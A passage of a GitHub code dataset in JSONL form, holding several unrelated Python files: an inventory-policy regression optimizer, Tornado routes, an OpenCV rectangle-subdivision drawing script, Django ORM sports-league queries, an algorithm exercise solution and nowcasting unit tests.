i:\n\t\t\t\tpos_counts[n][pos] += 1\n\t\t\t\tcorrect_counts[n] += 1\nfor n in top_n:\n\tprint(\"top\", n, \":\")\n\tprint(pos_counts[n])\n\tprint(correct_counts[n]/num_classes)\n","repo_name":"uvulab/unaligned-sequence-similarity-search-deep-learning","sub_path":"class_distance_analyzer.py","file_name":"class_distance_analyzer.py","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"22298099736","text":"import numpy as np\nimport pandas as pd\nimport patsy as pt\n\n\"\"\"Reference: https://towardsdatascience.com/a-simple-guide-to-linear-regression-using-python-7050e8c751c1 \"\"\"\nimport statsmodels.regression.linear_model as lm\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n\nfrom controlled_random import ControlRandomNumber as crn\nfrom simulation import Simulation\nfrom block_run import BlockRun\nfrom main import PlanEnv as plan_env\n\n\nclass ExpRec:\n exp: int\n theta1: int\n theta2: int\n min_s: int\n max_s: int\n avg_cost: float\n avg_otd: float\n avg_fulfill: int\n avg_unit_cost: float\n avg_period_cost: float\n\n\nclass OtdDelta:\n theta1: float\n theta2: float\n\n def __init__(self):\n self.theta1 = 0\n self.theta2 = 0\n\n\nclass Experiment:\n\n def __init__(self):\n self.otd_delta = OtdDelta()\n self.cost_delta = OtdDelta()\n self.block_ctl_rand = crn(100)\n self.hist_exog_vars = []\n self.hist_endog_cost = []\n self.hist_endog_otd = []\n self.hist_endog_fulfill = []\n self.reset_exp_res()\n self.sim_model = Simulation(p1=plan_env.env_set, p2=plan_env.cost_set, p3=plan_env.stochastic_set,\n p4=plan_env.min_s_max_s_set)\n\n def reset_exp_res(self):\n self.exp_exog_vars = []\n self.exp_endog_cost = []\n self.exp_endog_otd = []\n self.exp_endog_fulfill = []\n\n\nclass Exp2F2L(Experiment):\n theta1:float\n theta2:float\n\n def find_feasible_center(self, block_run=5, init_theta1=100, init_theta2=600, otd_threshold=0.80, min_cost=False):\n self.block_run(block_run, init_theta1, init_theta2)\n self.exp_res_avg_otd = sum(self.exp_endog_otd)/len(self.exp_endog_otd)\n self.exp_res_avg_cost = sum(self.exp_endog_cost)/len(self.exp_endog_cost)\n self.otd_threshold = otd_threshold\n\n iter_num, max_iter = 0, 100\n while self.exp_res_avg_otd < self.otd_threshold and iter_num <= max_iter :\n self.exp_res_avg_otd_prev = self.exp_res_avg_otd\n self.exp_res_avg_cost_prev = self.exp_res_avg_cost\n self.check_theta_delta(min_cost)\n theta1 = self.theta1 + self.otd_delta.theta1 + self.cost_delta.theta1\n theta2 = self.theta2 + self.otd_delta.theta2 + self.cost_delta.theta2\n self.reset_exp_res()\n self.block_run(block_run,theta1,theta2)\n self.exp_res_avg_otd = sum(self.exp_endog_otd) / len(self.exp_endog_otd)\n self.exp_res_avg_cost = sum(self.exp_endog_cost) / len(self.exp_endog_cost)\n # print(f\"average otd: {self.exp_res_avg_otd}\")\n iter_num += 1\n\n self.exp_res_avg_cost = sum(self.exp_endog_cost) / len(self.exp_endog_cost)\n self.exp_res_avg_fulfill_demand = sum(self.exp_endog_fulfill) / len(self.exp_endog_fulfill)\n print(f\"Iter num: {iter_num}\")\n print(f\"Found feasible theta1: {self.theta1} theta2:{self.theta2} \"\n f\"s1: {self.sim_model.model.im_min_s} s2: {self.sim_model.model.im_max_s}\"\n f\"avg cost: {self.exp_res_avg_cost}\"\n f\"avg otd: {self.exp_res_avg_otd}\"\n f\"avg fulfill demand: {self.exp_res_avg_fulfill_demand}\")\n\n def check_theta_delta(self, min_cost):\n if min_cost is False:\n self.get_otd_delta()\n self.cost_delta.theta1 = 0\n self.cost_delta.theta2 = 0\n else:\n self.get_cost_delta()\n self.otd_delta.theta1 = 0\n self.otd_delta.theta2 = 0\n\n def get_otd_delta(self):\n self.fit_hist_otd_ols()\n # print(self.fit_ols_res.summary())\n if self.fit_otd_ols_res.rsquared >= 0.6:\n self.otd_delta.theta1 = 10 * self.fit_otd_ols_res.params[1]/abs(self.fit_otd_ols_res.params[2])\n self.otd_delta.theta2 = 10 * self.fit_otd_ols_res.params[2] / abs(self.fit_otd_ols_res.params[1])\n else:\n if self.exp_res_avg_otd_prev < self.exp_res_avg_otd:\n self.otd_delta.theta1 = 30\n self.otd_delta.theta2 = 20\n else:\n self.otd_delta.theta1 = 10\n self.otd_delta.theta2 = 20\n\n def fit_hist_otd_ols(self):\n X = np.column_stack(self.hist_exog_vars)\n X = np.column_stack(X)\n y = np.array(self.hist_endog_otd)\n rsm = RSModel(X, y)\n rsm.fit_ols()\n self.fit_otd_ols_res = rsm.fit_ols_res\n self.rsm = rsm\n\n def find_min_cost(self, block_run=5, theta1=100, theta2=200, otd_threshold=0.80, min_cost=True):\n self.block_run(block_run, theta1=theta1, theta2=theta2)\n self.exp_res_avg_otd = sum(self.exp_endog_otd)/len(self.exp_endog_otd)\n self.exp_res_avg_cost = sum(self.exp_endog_cost)/len(self.exp_endog_cost)\n self.exp_best_avg_cost = self.exp_res_avg_cost\n self.otd_threshold = otd_threshold\n\n iter_num, max_iter = 0, 30\n while iter_num <= max_iter and self.exp_best_avg_cost <= self.exp_res_avg_cost:\n self.exp_res_avg_otd_prev = self.exp_res_avg_otd\n self.exp_res_avg_cost_prev = self.exp_res_avg_cost\n self.check_theta_delta(min_cost)\n theta1 = self.theta1 + self.cost_delta.theta1\n theta2 = self.theta2 + self.cost_delta.theta2\n self.reset_exp_res()\n self.block_run(block_run,theta1,theta2)\n self.exp_res_avg_otd = sum(self.exp_endog_otd) / len(self.exp_endog_otd)\n self.exp_res_avg_cost = sum(self.exp_endog_cost) / len(self.exp_endog_cost)\n if self.exp_res_avg_cost < self.exp_best_avg_cost and self.exp_res_avg_otd < self.otd_threshold:\n self.exp_best_avg_cost = self.exp_res_avg_cost\n return\n # print(f\"average otd: {self.exp_res_avg_otd}\")\n iter_num += 1\n\n self.exp_res_avg_cost = sum(self.exp_endog_cost) / len(self.exp_endog_cost)\n self.exp_res_avg_fulfill_demand = sum(self.exp_endog_fulfill) / len(self.exp_endog_fulfill)\n print(f\"Iter num: {iter_num}\")\n print(f\"Found min_cost theta1: {self.theta1} theta2:{self.theta2} \"\n f\"s1: {self.sim_model.model.im_min_s} s2: {self.sim_model.model.im_max_s}\"\n f\"avg cost: {self.exp_res_avg_cost}\"\n f\"avg otd: {self.exp_res_avg_otd}\"\n f\"avg fulfill demand: {self.exp_res_avg_fulfill_demand}\")\n\n def get_cost_delta(self):\n self.fit_hist_cost_ols()\n # print(self.fit_ols_res.summary())\n if self.fit_cost_ols_res.rsquared >= 0.6:\n self.cost_delta.theta1 = -10 * self.fit_cost_ols_res.params[1]/abs(self.fit_cost_ols_res.params[2])\n self.cost_delta.theta2 = -10 * self.fit_cost_ols_res.params[2]/abs(self.fit_cost_ols_res.params[1])\n else:\n if self.exp_res_avg_cost_prev > self.exp_res_avg_cost:\n self.cost_delta.theta1 = -15\n self.cost_delta.theta2 = -10\n else:\n self.cost_delta.theta1 = -5\n self.cost_delta.theta2 = -5\n\n def fit_hist_cost_ols(self):\n X = np.column_stack(self.hist_exog_vars)\n X = np.column_stack(X)\n y = np.array(self.hist_endog_cost)\n rsm = RSModel(X, y)\n rsm.fit_ols()\n self.fit_cost_ols_res = rsm.fit_ols_res\n self.rsm = rsm\n\n def block_run(self, block_run, theta1, theta2):\n run_num = 1\n while run_num <= block_run:\n self.reset_im(theta1, theta2)\n self.one_exp_data()\n run_num += 1\n\n def reset_im(self, theta1, theta2):\n self.theta1 = theta1\n self.theta2 = theta2\n self.reset_imp_bound()\n new_min_s = self.sim_model.model.min_s_lower_bound + self.theta1\n new_max_s = new_min_s + self.theta2\n new_imp = {\"im_min_s\": new_min_s, \"im_max_s\": new_max_s}\n self.sim_model.model.reset_im_policy(new_imp)\n\n def reset_imp_bound(self):\n \"\"\"add some salt\"\"\"\n self.sim_model.model.min_s_lower_bound = 100\n self.sim_model.model.max_s_upper_bound = 5000\n\n def one_exp_data(self):\n block_run = BlockRun(self.block_ctl_rand)\n block_run.block_avg(self.sim_model, True)\n self.exp_endog_cost.append(block_run.avg_cost)\n self.exp_endog_otd.append(block_run.avg_otd)\n self.hist_endog_cost.append(block_run.avg_cost)\n self.hist_endog_otd.append(block_run.avg_otd)\n self.hist_endog_fulfill.append(block_run.avg_fulfill_demand)\n self.exp_endog_fulfill.append(block_run.avg_fulfill_demand)\n self.exp_exog_vars.append([1., self.theta1,self.theta2])\n self.hist_exog_vars.append([1., self.theta1,self.theta2])\n\n\ndef plot_reg_model(fit_ols_res):\n pred_ols = fit_ols_res.get_prediction()\n iv_l = pred_ols.summary_frame()[\"obs_ci_lower\"]\n iv_u = pred_ols.summary_frame()[\"obs_ci_upper\"]\n pred_ols_mean = pred_ols.summary_frame()[\"mean\"]\n\n i = 1\n while i < len(fit_ols_res.model.exog[0]):\n fig, ax = plt.subplots(figsize=(8, 6))\n x = fit_ols_res.model.exog[:, i]\n y = fit_ols_res.model.endog\n ax.plot(x, y, \"o\", label=\"Data\")\n ax.plot(x, y, \"b-\", label=\"True\")\n ax.plot(x, pred_ols_mean, \"r--.\", label=\"Predicted\")\n ax.plot(x, iv_u, \"r--\")\n ax.plot(x, iv_l, \"r--\")\n i += 1\n\n\nclass RSModel:\n def __init__(self, X, y):\n self.X = X\n self.y = y\n\n def fit_ols(self):\n self.fit_ols_mdl = lm.OLS(self.y, self.X)\n self.fit_ols_res = self.fit_ols_mdl.fit()\n\n\nclass RepeatRun:\n\n exp2f2l = Exp2F2L()\n exprec = []\n exp_count = []\n\n def run(self, counts):\n i = 0\n while i <= counts:\n self.exp2f2l.block_ctl_rand = crn(30)\n print(f\"Experiment Run: {i} use CRN number {self.exp2f2l.block_ctl_rand.seed_num }\")\n if (i % 2) == 0:\n theta1 = 100\n theta2 = 600\n else:\n theta1 = self.exp2f2l.theta1\n theta2 = self.exp2f2l.theta2\n self.exp2f2l.find_feasible_center(block_run=5, init_theta1=theta1,\n init_theta2=theta2, otd_threshold=0.90)\n self.exp2f2l.find_min_cost(block_run=5, theta1=self.exp2f2l.theta1, theta2=self.exp2f2l.theta2,\n otd_threshold=0.90)\n self.exp_count.append(i)\n linerec = self.linerec(i)\n self.exprec.append(linerec)\n i += 1\n\n def linerec(self, count):\n exprec = ExpRec\n c0:exprec.exp = count\n c1:exprec.theta1 = self.exp2f2l.theta1\n c2:exprec.theta2 = self.exp2f2l.theta2\n c3:exprec.min_s = self.exp2f2l.sim_model.model.im_min_s\n c4:exprec.max_s = self.exp2f2l.sim_model.model.im_max_s\n c5:exprec.avg_cost = self.exp2f2l.exp_res_avg_cost\n c6:exprec.avg_otd = self.exp2f2l.exp_res_avg_otd\n c7:exprec.avg_fulfill = self.exp2f2l.exp_res_avg_fulfill_demand\n c8:exprec.avg_period_cost = self.exp2f2l.exp_res_avg_cost / self.exp2f2l.sim_model.model.periods\n c9:exprec.avg_unit_cost = self.exp2f2l.exp_res_avg_cost / self.exp2f2l.exp_res_avg_fulfill_demand\n\n return [c0, c1, c2, c3, c4, c5, c6, c7, c8, c9]\n\n def asdf(self):\n self.df = pd.DataFrame(np.array(self.exprec), columns=[\"exp\",\"theta1\",\"theta2\",\"min_s\",\"max_s\",\"avg_cost\",\n \"avg_otd\",\"avg_fulfill\",\"avg_period_cost\",\"avg_unit_cost\"])\n\n def fit_ols(self):\n self.asdf()\n y, X = pt.dmatrices('avg_unit_cost~min_s + max_s', data=self.df, return_type='dataframe')\n self.fit_ols_mdl = lm.OLS(y, X)\n self.fit_ols_res = self.fit_ols_mdl.fit()\n\n def fit_quard_ols(self):\n self.asdf()\n y, X = pt.dmatrices('avg_unit_cost ~ min_s + min_s**2 + max_s + max_s**2 + min_s*max_s',\n data=self.df, return_type='dataframe')\n self.fit_ols_mdl = lm.OLS(y, X)\n self.fit_ols_res = self.fit_ols_mdl.fit()\n\n def plot_trend(self):\n sns.set_theme(style=\"darkgrid\")\n self.asdf()\n # Plot the responses for different events and regions\n sns.lineplot(x=\"exp\", y=\"avg_period_cost\",\n data=self.df)\n\n\nif __name__ == \"__main__\":\n exp2f2l = RepeatRun()\n exp2f2l.run(100)\n exp2f2l.fit_ols()\n plot_reg_model(exp2f2l.fit_ols_res)\n exp2f2l.plot_trend()\n print(f\"{exp2f2l.df}\")\n\n breakpoint()\n","repo_name":"eslywadan/sso","sub_path":"optimizer_rsm.py","file_name":"optimizer_rsm.py","file_ext":"py","file_size_in_byte":12488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35556119883","text":"from views.views import *\nimport os.path\n\nSTATIC_PATH = os.path.join(os.path.dirname(__file__), \"../static\")\nTEMPLATE_PATH = os.path.join(os.path.dirname(__file__), \"../templates\")\nHANDLERS =[(r\"/log_display/\" ,Log_DisplayHandler),\n\t (r\"/add_newlog/\" ,Add_NewlogHandler),\n\t (r\"/change_log/\" ,Change_LogHandler),\n\t (r\"/clear_log/\" ,Clear_LogHandler),\n\t (r\"/\" ,Log_DisplayHandler),\n\t]\nHANDLERS +=[(r\"/chart/\", ChartHandler)]\n","repo_name":"xiaoyang2008mmm/log_record","sub_path":"handlers/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"32586973141","text":"import numpy as np\r\nimport cv2\r\nfrom enum import Enum\r\nfrom numpy.random import rand\r\nfrom numpy.random import randint\r\n\r\nclass Direction(Enum):\r\n NORTH = 0\r\n EAST = 1\r\n SOUTH = 2\r\n WEST = 3\r\n\r\nclass Node:\r\n def __init__(self, p):\r\n self.p = p\r\n self.n = None\r\n self.e = None\r\n self.s = None\r\n self.w = None\r\n self.drawn = False\r\n\r\n def connect(self, node, d):\r\n if d == Direction.NORTH:\r\n self.n = node\r\n node.s = self\r\n elif d == Direction.EAST:\r\n self.e = node\r\n node.w = self\r\n elif d == Direction.SOUTH:\r\n self.s = node\r\n node.n = self\r\n elif d == Direction.WEST:\r\n self.w = node\r\n node.e = self\r\n else:\r\n print('Must pass a direction.')\r\n\r\nclass Square:\r\n def __init__(self, tl, tr, br, bl, root=False):\r\n self.tl = tl\r\n self.tr = tr\r\n self.br = br\r\n self.bl = bl\r\n\r\n if root:\r\n self.tl.connect(tr, Direction.EAST)\r\n self.tr.connect(br, Direction.SOUTH)\r\n self.br.connect(bl, Direction.WEST)\r\n self.bl.connect(tl, Direction.NORTH)\r\n\r\n def area(self, num):\r\n return (np.linalg.norm(self.vector(self.tl, self.tr)) * np.linalg.norm(self.vector(self.tl, self.bl))) > num\r\n\r\n def aspect(self, mode='aspect', modeval=0.5):\r\n\r\n if mode == 'random':\r\n return randint(0,2)\r\n\r\n return np.linalg.norm(self.vector(self.tl, self.tr)) * (1-modeval) < np.linalg.norm(self.vector(self.tl, self.bl)) * modeval # width < height\r\n\r\n def splith(self, thresh):\r\n\r\n # finding the placement of the new nodes\r\n v1 = self.vector(self.tl, self.bl)\r\n v2 = self.vector(self.tr, self.br)\r\n\r\n if np.linalg.norm(v1) < 3 or np.linalg.norm(v2) < 3:\r\n #print(\"can not split this square horizontally\")\r\n return None\r\n\r\n p1 = (self.tl.p+v1*thresh).astype(np.int64)\r\n p2 = (self.tr.p+v2*thresh).astype(np.int64)\r\n\r\n n1 = Node(p1)\r\n n2 = Node(p2)\r\n\r\n start = self.tl\r\n end = self.bl\r\n while start is not end:\r\n d = np.linalg.norm(start.s.p) - np.linalg.norm(n1.p)\r\n if d > 0:\r\n n1.connect(start.s, Direction.SOUTH)\r\n start.connect(n1, Direction.SOUTH)\r\n break\r\n elif d == 0:\r\n n1 = start.s\r\n break\r\n start = start.s\r\n\r\n start = self.tr\r\n end = self.br\r\n while start is not end:\r\n d = np.linalg.norm(start.s.p - n2.p)\r\n if d > 0:\r\n n2.connect(start.s, Direction.SOUTH)\r\n start.connect(n2, Direction.SOUTH)\r\n break\r\n elif d == 0:\r\n n2 = start.s\r\n break\r\n start = start.s\r\n\r\n n1.connect(n2, Direction.EAST)\r\n\r\n return Square(self.tl, self.tr, n2, n1), Square(n1, n2, self.br, self.bl) #????\r\n\r\n def splitv(self, thresh):\r\n\r\n # finding the placement of the new nodes\r\n v1 = self.vector(self.tl, self.tr)\r\n v2 = self.vector(self.bl, self.br)\r\n\r\n if np.linalg.norm(v1) < 3 or np.linalg.norm(v2) < 3:\r\n #print(\"can not split this square vertically\")\r\n return None\r\n\r\n p1 = (self.tl.p+v1*thresh).astype(np.int64)\r\n p2 = (self.bl.p+v2*thresh).astype(np.int64)\r\n\r\n n1 = Node(p1)\r\n n2 = Node(p2)\r\n\r\n start = self.tl\r\n end = self.tr\r\n while start is not end:\r\n d = np.linalg.norm(start.e.p) - np.linalg.norm(n1.p)\r\n if d > 0:\r\n n1.connect(start.e, Direction.EAST)\r\n start.connect(n1, Direction.EAST)\r\n break\r\n elif d == 0:\r\n n1 = start.e\r\n break\r\n start = start.e\r\n\r\n start = self.bl\r\n end = self.br\r\n while start is not end:\r\n d = np.linalg.norm(start.e.p - n2.p)\r\n if d > 0:\r\n n2.connect(start.e, Direction.EAST)\r\n start.connect(n2, Direction.EAST)\r\n break\r\n elif d == 0:\r\n n2 = start.e\r\n break\r\n start = start.e\r\n\r\n n1.connect(n2, Direction.SOUTH)\r\n\r\n return Square(self.tl, n1, n2, self.bl), Square(n1, self.tr, self.br, n2)\r\n\r\n def vector(self, n1, n2):\r\n return n2.p - n1.p\r\n\r\n def __repr__(self):\r\n return str(self.tl.p) + \" \" + str(self.tr.p) + \" \" + str(self.br.p) + \" \" + str(self.bl.p)\r\n\r\nclass SquareTree():\r\n def __init__(self, root, mode_val, mode=\"area\", split_mode='aspect', split_modeval=0.5):\r\n\r\n self.p1 = None\r\n self.p2 = None\r\n self.sq1 = None\r\n self.sq2 = None\r\n self.root = root\r\n\r\n if mode == \"area\":\r\n split = root.area(mode_val)\r\n\r\n if mode == \"depth\":\r\n split = mode_val > 0\r\n\r\n if split:\r\n if root.aspect(mode=split_mode, modeval=split_modeval):\r\n\r\n #r = root.splith(.50+(rand()-.5)/2)\r\n r = root.splith(.50)\r\n\r\n if r is None: return\r\n self.sq1, self.sq2 = r #sq1 is the top or left rectangle\r\n else:\r\n\r\n #r = root.splitv(.50+(rand()-.5)/2)\r\n r = root.splitv(.50)\r\n\r\n if r is None: return\r\n self.sq1, self.sq2 = r\r\n\r\n self.p1 = SquareTree(self.sq1, mode_val-1, mode=mode, split_mode=split_mode, split_modeval=split_modeval)\r\n self.p2 = SquareTree(self.sq2, mode_val-1, mode=mode, split_mode=split_mode, split_modeval=split_modeval)\r\n\r\n else:\r\n return\r\n\r\n @staticmethod\r\n def graph(st):\r\n nodes = set()\r\n\r\n def buildGraph(st, set):\r\n if st.p1 is not None and st.p2 is not None:\r\n set = buildGraph(st.p1, set)\r\n return buildGraph(st.p2, set)\r\n else:\r\n set.add(st.root.tl)\r\n set.add(st.root.tr)\r\n set.add(st.root.br)\r\n set.add(st.root.bl)\r\n return set\r\n\r\n return list(buildGraph(st, nodes))\r\n\r\n @staticmethod\r\n def rootNode(height, width, spacer):\r\n canvas = np.ones((height, width, 3)) * 255\r\n\r\n n1 = Node(np.array([spacer, spacer]))\r\n n2 = Node(np.array([spacer, width-spacer]))\r\n n3 = Node(np.array([height-spacer, width-spacer]))\r\n n4 = Node(np.array([height-spacer, spacer]))\r\n\r\n return Square(n1, n2, n3, n4, root=True)\r\n\r\n @staticmethod\r\n def draw_square(s, canvas, line_color=(0,0,0), fill_color=(255,255,255), line_thickness = 2, fill=False):\r\n if True:\r\n cv2.rectangle(canvas, tuple(s.tl.p), tuple(s.br.p), fill_color, -1)\r\n\r\n canvas = cv2.line(canvas, tuple(s.tl.p), tuple(s.tr.p), line_color, 2)\r\n canvas = cv2.line(canvas, tuple(s.tr.p), tuple(s.br.p), line_color, 2)\r\n canvas = cv2.line(canvas, tuple(s.br.p), tuple(s.bl.p), line_color, 2)\r\n canvas = cv2.line(canvas, tuple(s.bl.p), tuple(s.tl.p), line_color, 2)\r\n\r\n return canvas\r\n\r\n @staticmethod\r\n def draw_st(st, canvas, fill=False):\r\n\r\n def redraw(st, canvas):\r\n\r\n if st.p1 is not None and st.p2 is not None:\r\n line_color = (randint(0, 255) / 255, randint(0, 255) / 255, randint(0, 255) / 255)\r\n fill_color = (randint(0, 255) / 255, randint(0, 255) / 255, randint(0, 255) / 255)\r\n\r\n canvas = SquareTree.draw_square(st.sq1, canvas, line_color=(0,0,0), fill_color=fill_color, fill=fill)\r\n canvas = SquareTree.draw_square(st.sq2, canvas, line_color=(0,0,0), fill_color=fill_color, fill=fill)\r\n\r\n redraw(st.p1, canvas)\r\n redraw(st.p2, canvas)\r\n\r\n return canvas\r\n\r\n return redraw(st, canvas)\r\n\r\n @staticmethod\r\n def draw_net(netlist, canvas, color=(0,0,0)):\r\n for node in netlist: # will go over the same line multiple times...\r\n if node.n is not None:\r\n canvas = cv2.line(canvas, tuple(node.p[::-1]), tuple(node.n.p[::-1]), color, 2)\r\n if node.e is not None:\r\n canvas = cv2.line(canvas, tuple(node.p[::-1]), tuple(node.e.p[::-1]), color, 2)\r\n if node.s is not None:\r\n canvas = cv2.line(canvas, tuple(node.p[::-1]), tuple(node.s.p[::-1]), color, 2)\r\n if node.w is not None:\r\n canvas = cv2.line(canvas, tuple(node.p[::-1]), tuple(node.w.p[::-1]), color, 2)\r\n\r\n return canvas\r\n\r\nif __name__ == \"__main__\":\r\n\r\n for i in range(10):\r\n width, height = 1000, 1000\r\n border = 50\r\n\r\n s = SquareTree.rootNode(width, height, border)\r\n st = SquareTree(s, 10000, mode=\"area\", split_mode='random', split_modeval=0)\r\n\r\n nodes = SquareTree.graph(st)\r\n\r\n #canvas = SquareTree.draw_net(nodes, canvas)\r\n canvas = np.ones((height,width,3)) * 255 # make a white canvas\r\n canvas = SquareTree.draw_st(st, canvas, fill=True)\r\n\r\n cv2.imshow('canvas', canvas)\r\n cv2.waitKey(0)\r\n","repo_name":"RaubCamaioni/Beautiful_Boxes","sub_path":"beauty_box.py","file_name":"beauty_box.py","file_ext":"py","file_size_in_byte":9235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7176348127","text":"from django.shortcuts import render, redirect\nfrom .models import League, Team, Player\nfrom django.db.models import Q, Count\n\nfrom . import team_maker\n\ndef index(request):\n\t# main cases\n\ttheLeague = League.objects\n\ttheTeam = Team.objects\n\tthePlayer = Player.objects\n\tcontext = {\n\t\t\"atlanticTeams\": theTeam.filter(league__name__contains=\"Atlantic Soccer Conference\"),\n\t\t\"penguinPlayers\": thePlayer.filter(curr_team__team_name__contains=\"Penguin\", curr_team__location__contains=\"Boston\"),\n\t\t\"intBaseballPlayers\": thePlayer.filter(curr_team__league__name__contains=\"International Collegiate Baseball Conference\"),\n\t\t\"lopezFooteball\": thePlayer.filter(curr_team__league__name__contains=\"American Conference of Amateur Football\", last_name__contains=\"Lopez\"),\n\t\t\"footballPlayers\": thePlayer.filter(curr_team__league__sport__contains=\"football\"),\n\t\t\"findSophia\": theTeam.filter(curr_players__first_name__contains=\"Sophia\"),\n\t\t\"leagueWSophia\": theLeague.filter(teams__curr_players__first_name__contains=\"Sophia\"),\n\t\t\"floresNotRough\": thePlayer.filter(Q(last_name__contains=\"Flores\"), ~Q(curr_team__location__contains=\"Washington\", curr_team__team_name__contains=\"Roughriders\")),\n\t\t\"samsHistory\": theTeam.filter(all_players__first_name__contains=\"Samuel\", all_players__last_name__contains=\"Evans\"),\n\t\t\"tigerCatsWhere\":thePlayer.filter(all_teams__location__contains=\"Manitoba\", all_teams__team_name__contains=\"Tiger-Cats\"),\n\t\t\"wasViking\": thePlayer.filter(Q(all_teams__location__contains=\"Wichita\", all_teams__team_name__contains=\"Vikings\"), ~Q(curr_team__location__contains=\"Wichita\", curr_team__team_name__contains=\"Vikings\")),\n\t\t\"jacobWhere\": theTeam.exclude(team_name=\"Colts\", location=\"Oregon\").filter(all_players__first_name__contains=\"Jacob\", all_players__last_name__contains=\"Gray\"),\n\t\t\"joshuaPlays\": thePlayer.filter(first_name__contains=\"Joshua\", all_teams__league__name=\"Atlantic Federation of Amateur Baseball Players\"),\n\t\t\"tweleveOrMore\": theTeam.annotate(count_players=Count(\"all_players\")).filter(count_players__gte=12),\n\t\t\"teamArgByNum\": thePlayer.annotate(count_teams=Count(\"all_teams\")).order_by(\"-count_teams\", \"first_name\"),\n\t}\n\treturn render(request, \"leagues/index.html\", context)\n\ndef make_data(request):\n\tteam_maker.gen_leagues(10)\n\tteam_maker.gen_teams(50)\n\tteam_maker.gen_players(200)\n\n\treturn redirect(\"index\")","repo_name":"KeithBrantley/CodingDojo-1","sub_path":"Python/Django/djangoORM/SportsORM2/sports_orm/leagues/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7812194257","text":"import sys\nsys.stdin = open('input.txt')\n\n# tc값 받고\nT = int(input())\nfor tc in range(1, T+1):\n num, change = input().split() # 숫자판의 정보, 교환횟수\n\n # change를 int형으로 변환\n change = int(change)\n # N은 num의 길이\n N = len(num)\n now = set([num])\n # num 를 집합 set으로 . set은 key가 없는 dictionary\n # 중복제거\n # set('7111117) - > {'711117'}\n nxt = set()\n\n # 코드 참고\n for _ in range(change): # 교환 횟수 동안\n while now: # set 을 조건문으로 만들면?\n s = now.pop() # set 안의 요소를 꺼냄.\n s = list(s) # 그걸 list 로 만듬,\n\n # N = 51423 이라고 가정.\n for i in range(N): # i로 N까지\n for j in range(i + 1, N): # i+1부터 N까지, # i == N 일 경우 그냥 통과인가?\n s[i], s[j] = s[j], s[i] # 앞뒤 순서를 바꿈.\n nxt.add(''.join(s)) # ['3','4'] -> \"34\" 형태로\n s[i], s[j] = s[j], s[i]\n now, nxt = nxt, now\n\n print('#{} {}'.format(tc, max(map(int, now))))\n\n# 입력받은 숫자판을 change만큼 바꿀 수 있는 모든 경우의 수를 생성 해내고\n# 그 중 최대값을 뽑아내는 원리다.\n\n\n\n","repo_name":"asooso1/ssafy_algorithm","sub_path":"1001/한채은/1244_최대_상금/s1.py","file_name":"s1.py","file_ext":"py","file_size_in_byte":1282,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20220238891","text":"\"\"\" System tests for SigNow against known outputs of the pipeline.\"\"\"\nimport pytest\n\nfrom signow.data_generator import create_data\nfrom signow.signature_nowcasting import SigNowcaster\n\n\nclass TestSigNow:\n def _generate_data(self):\n \"\"\"generates target and indicator data.\n Note: This generates the same target and indicator\n data that was used when testing on the pipeline.\n Arguments into function create_data are hard coded and\n shouldn't be changed, otherwise tests will fail.\n\n Returns:\n indicators, target: pd.DataFrames\n \"\"\"\n indicators, target = create_data(\n start_date=\"1999-12-01\",\n end_date=\"2013-12-01\",\n num_indicators=3,\n wide_indic_df=False,\n )\n\n target = target[:-3]\n indicators = indicators[indicators.index < \"2013-07-01\"]\n\n return indicators, target\n\n def _return_params(self):\n \"\"\"returns parameters for the model\n\n Returns:\n sn_params: dictionary containing standard set of parameters\n \"\"\"\n\n sig_params = {\n \"window_type\": \"ind\",\n \"max_length\": 365,\n \"fill_method\": \"ffill\",\n \"level\": 2,\n \"t_level\": 2,\n \"basepoint\": True,\n \"use_multiplier\": True,\n \"keep_sigs\": \"all\",\n }\n\n model_params = {\"alpha\": 0.1, \"l1_ratio\": 0.5, \"fit_intercept\": False}\n\n other_params = {\n \"end_train\": \"2013-03-31\",\n \"regressor\": \"elasticnet\",\n \"apply_pca\": True,\n \"standardize\": False,\n }\n sn_params = {\n \"regress_params\": {**model_params},\n \"sig_params\": {**sig_params},\n \"pca_params\": {\"pca_fill_method\": \"backfill\", \"k\": 2},\n **other_params,\n }\n\n return sn_params\n\n def test_elasticnet_PCA(self):\n \"\"\"Tests SigNow when the regressor is\n set to elasticnet and PCA is True.\n \"\"\"\n # Given\n sn_params = self._return_params()\n\n indicator_df, target_df = self._generate_data()\n\n # When\n sn_ = SigNowcaster(X=indicator_df, y=target_df, **sn_params)\n actual_sn_result = sn_.static_nowcast(sn_.data.X_ref())\n\n # Then\n expected_sn_result = 0.8051748858631005\n\n assert actual_sn_result[\"y\"][0] == pytest.approx(expected_sn_result)\n\n def test_ridge_PCA_standardizer(self):\n \"\"\"Tests SigNow when the regressor is\n set to ridge, PCA and standardizer are True.\n \"\"\"\n # Given\n sn_params = self._return_params()\n sn_params[\"regressor\"] = \"ridge\"\n sn_params[\"standardize\"] = True\n sn_params[\"regress_params\"].pop(\"l1_ratio\")\n\n indicator_df, target_df = self._generate_data()\n\n # When\n sn_ = SigNowcaster(X=indicator_df, y=target_df, **sn_params)\n actual_sn_result = sn_.static_nowcast(sn_.data.X_ref())\n\n # Then\n expected_sn_result = 0.754236337226096\n\n assert actual_sn_result[\"y\"][0] == pytest.approx(expected_sn_result)\n\n def test_lasso(self):\n \"\"\"Tests SigNow when the regressor is\n set to lasso.\n \"\"\"\n # Given\n sn_params = self._return_params()\n sn_params[\"regressor\"] = \"lasso\"\n sn_params[\"apply_pca\"] = False\n sn_params[\"regress_params\"].pop(\"l1_ratio\")\n\n indicator_df, target_df = self._generate_data()\n\n # When\n sn_ = SigNowcaster(X=indicator_df, y=target_df, **sn_params)\n actual_sn_result = sn_.static_nowcast(sn_.data.X_ref())\n\n # Then\n expected_sn_result = -0.9694009360520486\n\n assert actual_sn_result[\"y\"][0] == 